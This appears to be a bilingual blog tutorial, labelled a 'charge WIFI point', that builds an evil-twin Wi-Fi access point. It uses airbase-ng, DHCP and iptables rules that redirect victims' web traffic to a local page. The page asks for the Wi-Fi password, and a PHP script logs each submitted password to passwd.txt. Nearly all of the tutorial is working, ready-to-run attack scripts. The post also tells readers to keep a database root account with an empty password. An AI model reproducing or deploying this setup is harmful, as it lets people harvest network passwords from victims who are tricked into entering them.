Make wifi as a hot point

Make a script

echo $0 $1
case $1 in
"start")
sleep 1
ifconfig wlan0 down
sleep 1
iwconfig wlan0 mode monitor
sleep 1
ifconfig wlan0 up
sleep 2
airmon-ng start wlan0
sleep 1
airbase-ng -e 888888 -c 11 wlan0
sleep 1
;;
"atup")
sleep 1
ifconfig at0 192.168.2.1 netmask 255.255.255.0
sleep 1
ifconfig at0 up
sleep 1
route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
sleep 1
# echo "1" >/proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
sleep 2
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
service isc-dhcp-server restart
sleep 1
;;
"startnat")
sleep 1
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sleep 1
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sleep 1
iptables -A FORWARD -p tcp --syn -s 192.168.2.0/24 -j TCPMSS --set-mss 1356
iptables -t nat -A PREROUTING -p tcp -m multiport --dport 80,8080 -j DNAT --to 192.168.2.1:80
;;
*)
echo "usage $0 {start|atup|startnat}"
;;
esac

Start wifi as a hot point

sudo ./cr_wifi start
sudo ./cr_wifi atup

Deploy wiwiz

sudo cd /
sudo wget http://dl.wiwiz.com/hsbuilder-util-latest.tar.gz
sudo tar -zxf hsbuilder-util-latest.tar.gz
sudo /usr/local/hsbuilder/hsbuilder_setup.sh setup 然后依据各步提示完毕设置。下面是各步提示的说明:
“please select External NIC (typically the one going out to the Inernet):”– 此步请选择接入到Internet的网络接口。 “please select Internal NIC (typically your wifi interface):”– 此步请选择接入到局域网/无线局域网的网络接口。
“please input Hotspot ID:” — 此步请输入你在Wiwiz Web面板中创建的热点的Hotspot ID(不是热点的名称,也不是你的无线网络的SSID)。
“please input User Name:” — 此步请输入你的Wiwiz注冊username。
“please input Server Address and Port:” — 此步请保持默认值。
“Do you want DHCP service to be configured? If you select No to skip it, you need to configure DHCP service manually later.” — 此步请选择是否让Wiwiz HotSpot Builder Utility自己主动配置DHCP服务。 假设选择是,请继续下面的步骤。
“DHCP Setting: please input Network IP:” — 此步请输入你的局域网/无线局域网的网络IP。比如:192.168.1.0代表的是192.168.1.xxx网段。 “DHCP Setting: please input NET MASK:” — 此步请输入你的局域网/无线局域网的掩码。
“DHCP Setting: please input IP of Gateway (it should be the IP of this machine):” — 此步请输入今后的局域网/无线局域网的网关地址,即这台计算机的Internal NIC的IP地址(一般保留默认值就可以)。 “DHCP Setting: please input DNS:” — 此步请输入DNS地址。默认值为程序自己主动检測到的DNS地址。也能够指定其它可用的DNS地址。推荐指定ISP提供的DNS地址。 “DHCP Setting: please input IP Range of this Network:” — 此步请输入DHCP地址分配范围。 一般保留默认值就可以。
最后,假设没有报错信息并看到“HSBuilder Setup Completed!”的提示文字,那么安装已经完毕了。

Deploy LAMP

Install LAMP

sudo wget http://dl.cnezsoft.com/zentao/8.0.1/ZenTaoPMS.8.0.1.zbox_32.tar.gz
sudo tar zxvf ZenTaoPMS.7.3.stable.zbox_32.tar.gz -C /opt/ 1、运行/opt/zbox/zbox start 命令开启Apache和Mysql。
运行/opt/zbox/zbox stop 命令停止Apache和Mysql。
运行/opt/zbox/zbox restart 命令重新启动Apache和Mysql。 能够使用/opt/zbox/zbox -h命令来获取关于zbox命令的帮助
当中 -ap參数 能够改动Apache的port,-mp參数 能够改动Mysql的port
2、浏览器訪问 http://ip:port
3、数据库的username:root。密码为空。数据库管理用的是adminer,可是为了安全,訪问adminer的时候须要身份验证,须要运行/opt/zbox/auth/adduser.sh来加入用户(先 cd /opt/zbox/auth/ 然后运行 ./adduser.sh)。 3、网页訪问禅道,PV数据库管理有2层验证:
1)弹窗验证是输入运行 addusers.sh加入的帐号和密码。
2)网页直接显示登录界面:服务器:127.0.0.1:mysqlport 帐号 root 数据库填写zentao

Put an authorize page

Add a post

<form action="reconnect.php" method="post">
WIFI密码: &nbsp;&nbsp;
<input type="password" name="wfphshr-wpa-password">
<input id="btnSubmit" type="submit" value="提交">
</form>

Add a action

<?php
date_default_timezone_set("Asia/Hong_Kong");
$datetime = strtotime(date("Y-m-d H:i:s"));
$myfile = fopen("./upload/passwd.txt", "ab") or die("Unable to open file!");
$txt = $_POST["wfphshr-wpa-password"];
fwrite($myfile, date("Y-m-d H:i:s"));
fwrite($myfile, " ");
fwrite($myfile, $txt);
fwrite($myfile, "\r\n");
fclose($myfile);
? >

Put the page to /opt/zbox/app/htdocs

Work together

Register a wiwiz account

Redirect the size to authorize page http://192.168.2.1

A charge WIFI point base on airbase-ng+dhcp+lamp+wiwiz的更多相关文章

  1. 无线(仅WIFI)攻击思路总结

    从事信息安全相关工作5年了,虽然主要工作是安全产品售前.安全服务等方向,但既然选择了安全,想必都是有点黑客情节的,因此也前前后后杂七杂八的学了点东西.最近在研究无线(主要是WIFI)安全,相关书籍看了 ...

  2. android 5.1 WIFI图标上的感叹号及其解决办法

    转自:http://blog.csdn.net/w6980112/article/details/45843129 第一次调试android5.1的 WIFI更改小功能 Wifi 源码的相关路径目录  ...

  3. S3c6410 平台 Android系统的Wi-Fi调试记录

    硬件平台:S3c6410 操作系统:Android 网卡芯片:GH381(SDIO接口 sdio8688) 1.SDIO驱动 因为是SDIO接口,所以请先保证mmc驱动(代码在“kernel\driv ...

  4. Android 8 Wifi 初始化过程

    记录一下wifi初始化过程. packages/apps/Settings/src/com/android/settings/wifi/WifiSettings.java public void on ...

  5. 在orangepi-PC, ubuntu mini下使用usb wifi(rtl8188cu/rtl8192cu)

    本文章针对orangepi-pc下的ubuntu,分两部分,分别介绍在ubuntu14.04(trusty)mini下使用usb无线网卡的方式,以及怎样在ubuntu15.10(wily)mini下正 ...

  6. 20200509_设置笔记本使用有线访问外网同时wifi访问外网

    1. 控制面板\所有控制面板项\网络连接 2. wifi的使用的手机热点, dhcp分配的, 不用做配置 3. 笔记本获取到的内网静态地址是192.168.3.11, 网关是192.168.3.254 ...

  7. android init.rc 语法分析

    此文来自于对http://source.android.com/porting/index.html中bring up段的简译.其中有一处与源码的 system/core/init/readme.tx ...

  8. AndroidX86模拟器Genymotion的一些使用和另一款Andy模拟器

    命令行启动虚拟机 当我们下载安装好,可以通过命令行运行指定名字模拟器 D:\ProgramFiles\Genymobile\Genymotion\player  --vm-name "Sam ...

  9. Angular CLI behind the scenes, part one

    原文:https://commandlinefanatic.com/cgi-bin/showarticle.cgi?article=art074 --------------------------- ...

随机推荐

  1. 使用git快捷方便的保存代码

    大家都在使用git保存和备份代码,下面我们就来学习下吧. 一.本地安装和配置git 1.安装git pacman -S git //如果没有问题的话就可以安装成功了 2.验证 git --versio ...

  2. manjao linux下玩转arduino

    自从入手arduinon差不多半个月了,在window下几乎没有任何问题,下载,编程,编译,上传,运行.几乎没有任何问题.在linux编译成功,上传时下却总是提示找不到libncurses.so.5无 ...

  3. NS5S1153 切換器

    昨天在研讀 NS5S1153 的 spec, 發現有一個詞 很陌生 DPDT, 原來是 double pole double throw 的縮寫,雙軸雙切, 更詳細的解釋可以看這個博客的另一篇 &qu ...

  4. AC日记——幸运号码 51nod 1043

    幸运号码 思路: 传说中的数位dp: 不难发现,n(n<1000) ,那么,n个数的最大和为9*1000=9000: 对于9000*1000的时间范围,我们可以用dp来解决: dp[i][j], ...

  5. JAVA基础之集合、Iterator迭代器、泛型及增强for循环

    个人理解: 对于集合,首先要明确的是最顶层的接口是Collection接口类,其包含一些基本的方法以便子类调用,不过在定义的时候最好定义好数据类型,以免遍历时还得必须进行向上转型:特别注意的是其没有关 ...

  6. RecyclerView的滚动事件分析

    列表的滚动一般分为两种: 手指按下 -> 手指拖拽列表移动 -> 手指停止拖拽 -> 抬起手指 手指按下 -> 手指快速拖拽后抬起手指 -> 列表继续滚动 -> 停 ...

  7. SilverLight.3-Validation:一、银光验证。ValidatesOnExpression和NotifyOnValidationError

    ylbtech-SilverLight-DataBindings_BindingADataObjects_Validation:一.银光验证.ValidatesOnExpression和NotifyO ...

  8. windows核心编程 DLL技术 【转】

    注:本文章转载于网络,源地址为:http://blog.csdn.net/ithzhang/article/details/7051558 本篇文章将介绍DLL显式链接的过程和模块基地址重定位及模块绑 ...

  9. Hadoop部署启动异常问题排查

    hadoop的日志目录(/home/hadoop/app/hadoop-2.6.4/logs) 1.hadoop启动不正常用浏览器访问namenode的50070端口,不正常,需要诊断问题出在哪里: ...

  10. windows8开发-关于wp7应用迁移到win8 metro风格

    虽然微软说,wp7应用移植到win8上面是比较简单,只需要修改部分API和设计原则上的细节,同时它也提供了一份比较简洁的参考文档: 而实际上这种移植的工作量还是不小的,尤其当应用引用了较多底层的API ...